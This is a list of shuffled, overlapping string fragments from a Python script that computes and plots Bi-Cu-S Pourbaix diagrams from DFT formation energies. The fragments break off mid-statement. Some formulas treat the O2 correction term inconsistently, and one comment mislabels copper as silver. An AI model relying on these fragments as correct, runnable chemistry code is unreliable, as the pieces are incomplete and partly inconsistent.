"random.random(); flag[index,4] = random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot",
"bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S')",
"U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1 muValues[i,j,3]=100000000 #Go through all species, commpare all pairs for",
"flag[index,5] = random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and H2 lines##################################",
"second species' contribution to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for",
"dGf_CuOH3= dGf_CuOH3*F; dGf_CuOH_Plus= dGf_CuOH_Plus*F; dGf_CuOH2= dGf_CuOH2*F; dGf_CuOH = dGf_CuOH*F; dGf_Cu2OH2_2plus=dGf_Cu2OH2_2plus*F; dGf_Cu3OH4_2plus=dGf_Cu3OH4_2plus*F; dGf_CuOH2_s=dGf_CuOH2_s*F dGf_Bi=",
"species[31,6]=3 species[32,6]=6 species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4",
"1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num,",
"pH range #Applied Potential Range and Constants Ulow = -1.5; #V Uhigh =",
"1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else: #Catch and switch the value",
"species[20,2]=2 #S species[21,2]=0 species[22,2]=-2 species[23,2]=-1 species[24,2]=0 species[25,2]=0 species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4",
"in array t=1 a = np.array([[species[k, 3],species[m, 3], species[p,3]], \\ [species[k, 4],species[m, 4],",
"from numpy import load #Created by <NAME>, 2018-2020 #Contributions by <NAME> #For reactions",
"species[16,4]=2 species[17,4]=4 species[18,4]=1 species[19,4]=1 species[20,4]=1 #Sulphur species[21,4]=0 species[22,4]=0 species[23,4]=0 species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0",
"eV/f.u. #From PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H = .202; Fvib_S=-0.0091266451372 Fvib_CuO=0.062498987735",
"dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F; dGf_SO4_2Minus=dGf_SO4_2Minus*F; dGf_S2O8_2Minus=dGf_S2O8_2Minus*F; dGf_HSO5_Minus=dGf_HSO5_Minus*F; dGf_S2O5_2Minus=dGf_S2O5_2Minus*F; dGf_Cu2S=dGf_Cu2S*F; dGf_Cu7S4=dGf_Cu7S4*F; dGf_CuS=dGf_CuS*F; dGf_CuS2=dGf_CuS2*F; dGf_Cu2SO4_3=dGf_Cu2SO4_3*F;",
"species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot Open File') ############################################################################### ####",
"if (t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n') #Species Number combos[combo_num, 0, 0]=k combos[combo_num,",
"saving/importing data from numpy import asarray from numpy import save from numpy import",
"#CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0 species[51,6]=12 species[52,6]=0 species[53,6]=4 #BiSO species[54,6]=0 species[55,6]=0 species[56,6]=1 species[57,6]=12",
"Ion Free Energies of Formation ######################### #Free Energies of Formation in eV/f.u. ##Elemental",
"############################################################################### #### Determine which species are able to combine at the composition ###########",
">0 or species[p, 3]) \\ and (species[k, 4]>0 or species[m, 4] >0 or",
"#The first species's contribution to the mu current_eng=species[p,0] current_ele=F*U*(species[p,1]) current_H=R*T*np.log(10.0)*pH*(species[p,2]) current_H2O=dGf_H2O*(species[p,6]) current_aquI=R*T*np.log(nI)*(species[p,7]) current_NumEle=1",
"and species[m, 3] ==0) or \\ (species[m, 3]==0 and species[p, 3] ==0) or",
"############################################################################### ################################################################################ ############# CONVERT from eV to kJ/mol #################################### ############################################################################### dGf_Cu= dGf_Cu*F; dGf_CuO=",
"species[49,7]=0 species[50,7]=0 species[51,7]=0 species[52,7]=0 species[53,7]=0 #BiSO species[54,7]=0 species[55,7]=0 species[56,7]=0 species[57,7]=0 species[58,7]=0 species[59,7]=0 #CuBiS",
"-4.391811875; ############################################################################### ########### MULTICOMPONENT SPECIES ############################################ #Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935;",
"pHArray=np.zeros((pHrange+1)); for i in range(0, pHrange): pHArray[i] =lowpH+i; muH[i]=-0.059*pHArray[i]; muH2O[i]=1.23-0.059*pHArray[i]; pHArray[pHrange] =lowpH+(pHrange); muH[pHrange]=-0.059*pHArray[pHrange];",
"(species[m, 3]==0 and species[p, 3] ==0) or \\ (species[k, 3]==0 and species[p, 3]",
"#V Urange = Uhigh-Ulow; #V Ucount = Urange/n; #used to iterate through U",
"#CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ########### Number of Sulphurs S #############################################",
"2]=species[p,3] #Number Bismuth combos[combo_num, 5, 0]=species[k,4] combos[combo_num, 5, 1]=species[m,4] combos[combo_num, 5, 2]=species[p,4] #Number",
"plt.title('Bi-Cu-S Pourbaix Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with Lines ############################################ ###############################################################################",
"species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ########### Number of Coppers Cu ############################################## #Cu",
"species[26,2]=0 species[27,2]=0 species[28,2]=0 species[29,2]=6 species[30,2]=5 species[31,2]=4 species[32,2]=12 species[33,2]=12 species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5",
"#If drawing lines for metastable phases for i in range(1, n): #calculate the",
"Coppers Cu ############################################## #Cu species[0,3]=1 species[1,3]=1 species[2,3]=2 species[3,3]=1 species[4,3]=1 species[5,3]=1 species[6,3]=1 species[7,3]=1 species[8,3]=1",
"5] >0 or species[p, 5])): #save species in array t=1 a = np.array([[species[k,",
"composition though linear algebra. try: f=np.linalg.solve(a, composition) except: #print('Error: Species '+str(k)+', Species2: '+str(m)+',",
"dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457",
"all species, commpare all pairs for k in range(0, combo_num): p=int(combos[k,0,0]); m=int(combos[k,0,1]); s=int(combos[k,0,2]);",
"combo_num=combo_num+1; t=1 #print('entered') else: #Catch and switch the value of t back to",
"in eV/f.u. #PBEsol with SOC Ee_Bi= -5.114928333; Ee_Bi2O3= -31.163316; Ee_Bi2O5= -40.1344765; Ee_Bi2O4=-36.7221975; Ee_Bi4O7=-68.40888;",
"species[23,3]=0 species[24,3]=0 species[25,3]=0 species[26,3]=0 species[27,3]=0 species[28,3]=0 species[29,3]=0 species[30,3]=0 species[31,3]=0 species[32,3]=0 species[33,3]=0 species[34,3]=0 species[35,3]=0",
"contribution to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7]) current_NumEle=1 for t in",
"species[19,5]=0 species[20,5]=0 #Sulphur species[21,5]=1 species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2",
"and species[p, 5] ==0)): flag=0 #if so, find the composition though linear algebra.",
"1]=species[m,2] combos[combo_num, 3, 2]=species[p,2] #Number Silvers combos[combo_num, 4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num,",
"flag[index,0] = muValues[i,j,0] flag[index,1] = muValues[i,j,1] flag[index,2] = muValues[i,j,2] flag[index,3] = random.random(); flag[index,4]",
"species[42,0]=dGf_HSO4_Minus species[43,0]=dGf_SO4_2Minus species[44,0]=dGf_S2O8_2Minus species[45,0]=dGf_HSO5_Minus species[46,0]=dGf_S2O5_2Minus species[47,0]=dGf_Cu2S species[48,0]=dGf_Cu7S4 species[49,0]=dGf_CuS species[50,0]=dGf_CuS2 species[51,0]=dGf_Cu2SO4_3 species[52,0]=dGf_BiCu species[53,0]=dGf_CuBiO2_2 species[54,0]=dGf_BiS2",
"0]=k combos[combo_num, 0, 1]=m combos[combo_num, 0, 2]=p #Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1,",
"species[58,5]=24 species[59,5]=1 #CuBiS species[60,5]=2 species[61,5]=9 species[62,5]=10 #BiCuSO species[63,5]=1 species[64,5]=3 ######### Number of H2O's",
"ax=plt.subplot(111) ax = plt.gca() ax.set_xlim([lowpH,highpH]) ax.set_ylim([Ulow,Uhigh]) l=0; index=0; for i in range(0, n+1):",
"the next three are the colors index=0; fig =plt.figure() ax=plt.subplot(111) ax = plt.gca()",
"1]=m combos[combo_num, 0, 2]=p #Energy combos[combo_num, 1, 0]=species[k,0] combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1,",
"range(0, len(flag)): if(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,1] and flag[k,2]==muValues[i,j,2]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop,",
"species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0",
"random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O and H2",
"color = [0.0,0.0,0.0],markersize=2) elif(muValues[i,j,1]!=muValues[i-1,j,1]): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,0]!=muValues[i,j-1,0]) or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color",
"Concentration #Array showing the composition of Cu:Bi:S composition=np.array([1,1,1]) #pH Range and Constants lowpH",
"determine species combinations try: combos=load('BiCuOS-speciesCombo.npy') num=load('BiCuOS-numberSpecies.npy') combo_num=int(num[0]) except OSError: print('Cannot Open File') ###############################################################################",
"in eV/f.u. dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s)",
"species[13,6]=0 species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0",
"species[61,6]=0 species[62,6]=0 #BiCuSO species[63,6]=1 species[64,6]=0 ########## Aqueous Ions?????? ################################################# #Copper species[0,7]=0 species[1,7]=0 species[2,7]=0",
"species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5 #CuSBiO species[47,6]=0 species[48,6]=0 species[49,6]=0 species[50,6]=0",
"is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,0] and flag[k,1]==muValues[i,j,2]and flag[k,2]==muValues[i,j,1]): ax.plot(pH,U,'.', color = [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break",
"#Calculated with PBEsol Ee_Cu2S=-13.4793116667; Ee_Cu7S4=-49.8241325; Ee_CuS=-9.170266; Ee_CuS2=-13.63935; Ee_Cu2SO4_3=-101.5166; Ee_BiCu=-9.31218; Ee_CuBiO2_2=-42.245475; Ee_BiS2=-14.6172585; Ee_Bi2S3=-24.878388; Ee_Bi2S2O=-27.2327565;",
"Hydrogen H+ Count #################################################### #Cu species[0,2]=0 species[1,2]=2 species[2,2]=2 species[3,2]=0 species[4,2]=0 species[5,2]=4 species[6,2]=2 species[7,2]=3",
"species[3,4]=0 species[4,4]=0 species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2",
"species[24,0]=dGf_S_2Minus species[25,0]=dGf_S2_2Minus species[26,0]=dGf_S3_2Minus species[27,0]=dGf_S4_2Minus species[28,0]=dGf_S5_2Minus species[29,0]=dGf_H2S2O3 species[30,0]=dGf_HS2O3_Minus species[31,0]=dGf_S2O3_2Minus species[32,0]=dGf_S5O6_2Minus species[33,0]=dGf_S4O6_2Minus species[34,0]=dGf_HS2O4_Minus species[35,0]=dGf_S2O4_2Minus species[36,0]=dGf_S3O6_2Minus",
"species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1 species[48,5]=4 species[49,5]=1 species[50,5]=2 species[51,5]=3 species[52,5]=0 species[53,5]=0",
"############################################################################### ############################################################################### ############### Populate the species matrix ################################ ############################################################################### species=np.zeros((65,8)) ######## Formation Energies",
"species[36,5]=3 species[37,5]=1 species[38,5]=1 species[39,5]=1 species[40,5]=2 species[41,5]=1 species[42,5]=1 species[43,5]=1 species[44,5]=2 species[45,5]=1 species[46,5]=2 #CuSBiO species[47,5]=1",
"3] ==0) or \\ (species[m, 3]==0 and species[p, 3] ==0) or \\ (species[k,",
"4, 0]=species[k,3] combos[combo_num, 4, 1]=species[m,3] combos[combo_num, 4, 2]=species[p,3] #Number Bismuth combos[combo_num, 5, 0]=species[k,4]",
"dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915 dGf_S5O6_2Minus=-9.9087 dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282",
"conditions #find out how much detail you want in your graph #n=input(\"Enter the",
"flag[index,4] = random.random(); flag[index,5] = random.random(); ax.plot(pH,U,'.', color = [flag[index,3],flag[index,4],flag[index,5]],markersize=4,label=label) index=index+1; #####Plot H2O",
"species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0 species[37,4]=0 species[38,4]=0 species[39,4]=0",
"\\ [species[k, 5],species[m, 5], species[p,5]]]) #check to see if each species contains a",
"or (muValues[i,j,1]!=muValues[i,j-1,1])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2) elif((muValues[i,j,2]!=muValues[i,j-1,2]) or (muValues[i,j,2]!=muValues[i-1,j,2])): ax.plot(pH,U,'.', color = [0.0,0.0,0.0],markersize=2)",
"the species in the combos array. if (t==0): #print(str(combo_num)+': Species1: '+str(k)+', Species2: '+str(m)+'\\n')",
"#Elemental Sulphur Species dGf_H2S=-0.283601 dGf_HS_Minus=0.13053 dGf_S_2Minus=0.9521892 dGf_S2_2Minus=0.8563979 dGf_S3_2Minus=0.7791664 dGf_S4_2Minus=0.7204948 dGf_S5_2Minus=0.6803396 dGf_H2S2O3=-5.6329986 dGf_HS2O3_Minus=-5.6156529 dGf_S2O3_2Minus=-5.515915",
"each species contains a single element. This is a really long call. flag=1",
"current_NumEle=current_NumEle*species[p,t]; current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6])",
"species[64,3]=3 ########### Number of Bismuths Bi ############################################# #Copper species[0,4]=0 species[1,4]=0 species[2,4]=0 species[3,4]=0 species[4,4]=0",
"dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S); dGf_Bi2S2O=(Ee_Bi2S2O+Fvib_Bi2S2O) -2*(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S)-0.5*((Ee_O2)-Ftot_O2); dGf_Bi2SO4_3=(Ee_Bi2SO4_3+Fvib_Bi2SO4_3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_Bi14OS24=(Ee_Bi14OS24+Fvib_Bi14OS24)",
"combos[combo_num, 1, 1]=species[m,0] combos[combo_num, 1, 2]=species[p,0] #Electrons combos[combo_num, 2, 0]=species[k,1] combos[combo_num, 2, 1]=species[m,1]",
"Ee_Cu4Bi4S9=-80.830705; Ee_Cu4BiS2_5=-90.647798; Ee_CuBiS2=-19.041996; ############################################################################### ###### Vibrational Energy ##################################################### ############################################################################### #Vibrational Energies in eV/f.u.",
"species[42,3]=0 species[43,3]=0 species[44,3]=0 species[45,3]=0 species[46,3]=0 #CuBiSO species[47,3]=2 species[48,3]=7 species[49,3]=1 species[50,3]=1 species[51,3]=2 species[52,3]=1 species[53,3]=1",
"species[12,0]=dGf_Cu3OH4_2plus species[13,0]=dGf_Bi species[14,0]=dGf_Bi2O3 species[15,0]=dGf_Bi2O5 species[16,0]=dGf_Bi2O4 species[17,0]=dGf_Bi4O7 species[18,0]=dGf_Bi_3Plus species[19,0]=dGf_BiOH_2Plus species[20,0]=dGf_BiO_Plus species[21,0]=dGf_S species[22,0]=dGf_H2S species[23,0]=dGf_HS_Minus species[24,0]=dGf_S_2Minus",
"species[2,6]=1 species[3,6]=0 species[4,6]=0 species[5,6]=4 species[6,6]=2 species[7,6]=3 species[8,6]=1 species[9,6]=2 species[10,6]=1 species[11,6]=2 species[12,6]=4 #Bi species[13,6]=0",
"= [flag[k,3],flag[k,4],flag[k,5]],markersize=4) #break loop, the color is found k=len(flag)+1 l=1 elif(flag[k,0]==muValues[i,j,1] and flag[k,1]==muValues[i,j,2]and",
"species[34,2]=6 species[35,2]=8 species[36,2]=12 species[37,2]=4 species[38,2]=5 species[39,2]=6 species[40,2]=12 species[41,2]=6 species[42,2]=7 species[43,2]=8 species[44,2]=16 species[45,2]=9 species[46,2]=10",
"import numpy as np import matplotlib.pyplot as plt import random #For saving/importing data",
"species[60,3]=1 species[61,3]=4 species[62,3]=4 #BiCuSO species[63,3]=1 species[64,3]=3 ########### Number of Bismuths Bi ############################################# #Copper",
"len(species)): for p in range(0, len(species)): #Check to make sure each element is",
"species[57,4]=2 species[58,4]=14 species[59,4]=2 #CuBiS species[60,4]=1 species[61,4]=4 species[62,4]=5 #BiCuSO species[63,4]=1 species[64,4]=1 ########### Number of",
"dGf_Cu=0.0; dGf_Bi=0.0; dGf_S=0.0; ############################################################################### ############################################################################### ############################################################################### ############################################################################### ############## Aqueous Ion Free Energies of",
"long call. flag=1 if((species[k, 3]==0 and species[m, 3] ==0) or \\ (species[m, 3]==0",
"species[33,6]=6 species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5",
"species[5,4]=0 species[6,4]=0 species[7,4]=0 species[8,4]=0 species[9,4]=0 species[10,4]=0 species[11,4]=0 species[12,4]=0 #Bismuth species[13,4]=1 species[14,4]=2 species[15,4]=2 species[16,4]=2",
"numpy import save from numpy import load #Created by <NAME>, 2018-2020 #Contributions by",
"species[29,7]=1 species[30,7]=1 species[31,7]=1 species[32,7]=1 species[33,7]=1 species[34,7]=1 species[35,7]=1 species[36,7]=1 species[37,7]=1 species[38,7]=1 species[39,7]=1 species[40,7]=1 species[41,7]=1",
"(species[k, 5]>0 or species[m, 5] >0 or species[p, 5])): #save species in array",
"5]==0 and species[m, 5] ==0) or \\ (species[m, 5]==0 and species[p, 5] ==0)",
"dGf_CuO= (Ee_CuO+Fvib_CuO) -(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_Cu2O=(Ee_Cu2O+Fvib_Cu2O) -2.0*(Ee_Cu+Fvib_Cu) - 0.5*(Ee_O2+Ftot_O2); dGf_CuOH2_s= (Ee_CuOH2_s+Fvib_CuOH2_s) -(Ee_Cu+Fvib_Cu)-(Ee_O2+Ftot_O2)-(Ee_H2+F_H); dGf_Bi2O3=",
"combos[combo_num, 8, 1]=f[1]/f_total combos[combo_num, 8, 2]=f[2]/f_total combo_num=combo_num+1; t=1 #print('entered') else: #Catch and switch",
"-(Ee_Cu+Fvib_Cu)-(Ee_S+Fvib_S); dGf_CuS2=(Ee_CuS2+Fvib_CuS2) -(Ee_Cu+Fvib_Cu)-2*(Ee_S+Fvib_S); dGf_Cu2SO4_3=(Ee_Cu2SO4_3+Fvib_Cu2SO4_3) -2*(Ee_Cu+Fvib_Cu)-3*(Ee_S+Fvib_S)-6.0*((Ee_O2)-Ftot_O2); dGf_BiCu=(Ee_BiCu+Fvib_BiCu) -(Ee_Cu+Fvib_Cu)-(Ee_Bi+Fvib_Bi); dGf_CuBiO2_2=(Ee_CuBiO2_2+Fvib_CuBiO2_2) -(Ee_Cu+Fvib_Cu)-2*(Ee_Bi+Fvib_Bi)-2.0*((Ee_O2)-Ftot_O2); dGf_BiS2=(Ee_BiS2+Fvib_BiS2) -(Ee_Bi+Fvib_Bi)-2*(Ee_S+Fvib_S); dGf_Bi2S3=(Ee_Bi2S3+Fvib_Bi2S3) -2*(Ee_Bi+Fvib_Bi)-3*(Ee_S+Fvib_S);",
"species[14,6]=3 species[15,6]=5 species[16,6]=4 species[17,6]=7 species[18,6]=0 species[19,6]=1 species[20,6]=1 #Sulphur species[21,6]=0 species[22,6]=0 species[23,6]=0 species[24,6]=0 species[25,6]=0",
"for each species number pH=lowpH+(i*pHcount); for j in range(0,n+1): U=Ulow+(j*Ucount); muValues[i,j,0]=-1 muValues[i,j,1]=-1 muValues[i,j,2]=-1",
"of Formation ######################### #Free Energies of Formation in eV/f.u. ##Elemental Bismuth Species dGf_Bi_3Plus=",
"6, 2]=species[p,5] #Aqueous Ions combos[combo_num, 7, 0]=species[k,6] combos[combo_num, 7, 1]=species[m,6] combos[combo_num, 7, 2]=species[p,6]",
"#For the if(((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[1,0]+i*a[1,1]+j*a[1,2]))==composition[0]/composition[1] and \\ ((h*a[1,0]+i*a[1,1]+j*a[1,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[1]/composition[2] and \\ ((h*a[0,0]+i*a[0,1]+j*a[0,2])/(h*a[2,0]+i*a[2,1]+j*a[2,2]))==composition[0]/composition[2]): #save the composition f[0]=h",
"dGf_Bi= dGf_Bi*F; dGf_Bi2O3= dGf_Bi2O3*F; dGf_Bi2O5= dGf_Bi2O5*F; dGf_Bi2O4=dGf_Bi2O4*F; dGf_Bi4O7=dGf_Bi4O7*F; dGf_Bi_3Plus= dGf_Bi_3Plus*F; dGf_BiOH_2Plus= dGf_BiOH_2Plus*F; dGf_BiO_Plus=",
"Diagram, $\\eta_{Bi,Cu,S}=10^{-'+str(eta)+'}$, '+str(composition[0])+'Cu:' +str(composition[1])+'Bi:'+str(composition[2])+'S') chartBox=ax.get_position() ax.set_position([chartBox.x0, chartBox.y0, chartBox.width*1.5, chartBox.height*1.5]) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9),",
"+str(composition[1])+'Bi:'+str(composition[2])+'S') ############################################################################### ############## Plot with Lines ############################################ ############################################################################### flag = np.zeros((50,6)) # The",
"dGf_S4O6_2Minus=-10.5939 dGf_HS2O4_Minus=-6.13203282 dGf_S2O4_2Minus=-5.9842 dGf_S3O6_2Minus=-9.930382 dGf_H2SO3=-5.580528 dGf_HSO3_Minus=-5.464 dGf_SO3_2Minus=-5.03457 dGf_S2O6_2Minus=-10.02 dGf_H2SO4=-7.6901922 dGf_HSO4_Minus=-7.8029389 dGf_SO4_2Minus=-7.6901922 dGf_S2O8_2Minus=-11.361 dGf_HSO5_Minus=",
"species[60,7]=0 species[61,7]=0 species[62,7]=0 #BiCuSO species[63,7]=0 species[64,7]=0 #Function to determine species combinations try: combos=load('BiCuOS-speciesCombo.npy')",
"muValues[i,j,2]=a[2] muValues[i,j,3]=current_mu ############################################################################### ############################################################################### ############################################################################### ############################################################################### ################### Plot Pourbaix Diagram ################################### ############################################################################### flag",
"plt import random #For saving/importing data from numpy import asarray from numpy import",
"#Vibrational Energies in eV/f.u. #From PBEsol Phonon Calculations Fvib_O2=-0.272; F_rot_trans_O2=0.099; Ftot_O2=Fvib_O2+F_rot_trans_O2; F_H =",
"current_mu=f1*((current_eng+current_aquI-current_ele-current_H-current_H2O)/current_NumEle); #The second species' contribution to the mu current_eng=species[m,0]; current_ele=F*U*(species[m,1]) current_H=R*T*np.log(10.0)*pH*(species[m,2]) current_H2O=dGf_H2O*(species[m,6]) current_aquI=R*T*np.log(nI)*(species[m,7])",
"if(l==0): label='M1: '+str(muValues[i,j,0])+', M2: '+str(muValues[i,j,1])+' M3: '+str(muValues[i,j,2]) flag[index,0] = muValues[i,j,0] flag[index,1] = muValues[i,j,1]",
"dGf_HS2O3_Minus=dGf_HS2O3_Minus*F; dGf_S2O3_2Minus=dGf_S2O3_2Minus*F; dGf_S5O6_2Minus=dGf_S5O6_2Minus*F; dGf_S4O6_2Minus=dGf_S4O6_2Minus*F; dGf_HS2O4_Minus=dGf_HS2O4_Minus*F; dGf_S2O4_2Minus=dGf_S2O4_2Minus*F; dGf_S3O6_2Minus=dGf_S3O6_2Minus*F; dGf_H2SO3=dGf_H2SO3*F; dGf_HSO3_Minus=dGf_HSO3_Minus*F; dGf_SO3_2Minus=dGf_SO3_2Minus*F; dGf_S2O6_2Minus=dGf_S2O6_2Minus*F; dGf_H2SO4=dGf_H2SO4*F; dGf_HSO4_Minus=dGf_HSO4_Minus*F;",
"species[22,5]=1 species[23,5]=1 species[24,5]=1 species[25,5]=2 species[26,5]=3 species[27,5]=4 species[28,5]=5 species[29,5]=2 species[30,5]=2 species[31,5]=2 species[32,5]=5 species[33,5]=4 species[34,5]=2",
"species[5,7]=1 species[6,7]=1 species[7,7]=1 species[8,7]=1 species[9,7]=1 species[10,7]=1 species[11,7]=1 species[12,7]=1 #Bismuth species[13,7]=0 species[14,7]=0 species[15,7]=0 species[16,7]=0",
"species[7,5]=0 species[8,5]=0 species[9,5]=0 species[10,5]=0 species[11,5]=0 species[12,5]=0 #Bismuth species[13,5]=0 species[14,5]=0 species[15,5]=0 species[16,5]=0 species[17,5]=0 species[18,5]=0",
"species[24,4]=0 species[25,4]=0 species[26,4]=0 species[27,4]=0 species[28,4]=0 species[29,4]=0 species[30,4]=0 species[31,4]=0 species[32,4]=0 species[33,4]=0 species[34,4]=0 species[35,4]=0 species[36,4]=0",
"ax.plot(pHArray[:], muH2O[:],'b--',label='$H_2O$', linewidth=1) ax.legend(loc='upper center', bbox_to_anchor=(1.3, 0.9), ncol=1) plt.ylabel('Electric Potential, E(V)') plt.xlabel('pH') plt.title('Bi-Cu-S",
"species[57,2]=24 species[58,2]=2 species[59,2]=4 #BiCuS species[60,2]=0 species[61,2]=0 species[62,2]=0 #BiCuSO species[63,2]=2 species[64,2]=0 ########### Number of",
"species[34,6]=4 species[35,6]=4 species[36,6]=6 species[37,6]=3 species[38,6]=3 species[39,6]=3 species[40,6]=6 species[41,6]=4 species[42,6]=4 species[43,6]=4 species[44,6]=8 species[45,6]=5 species[46,6]=5",
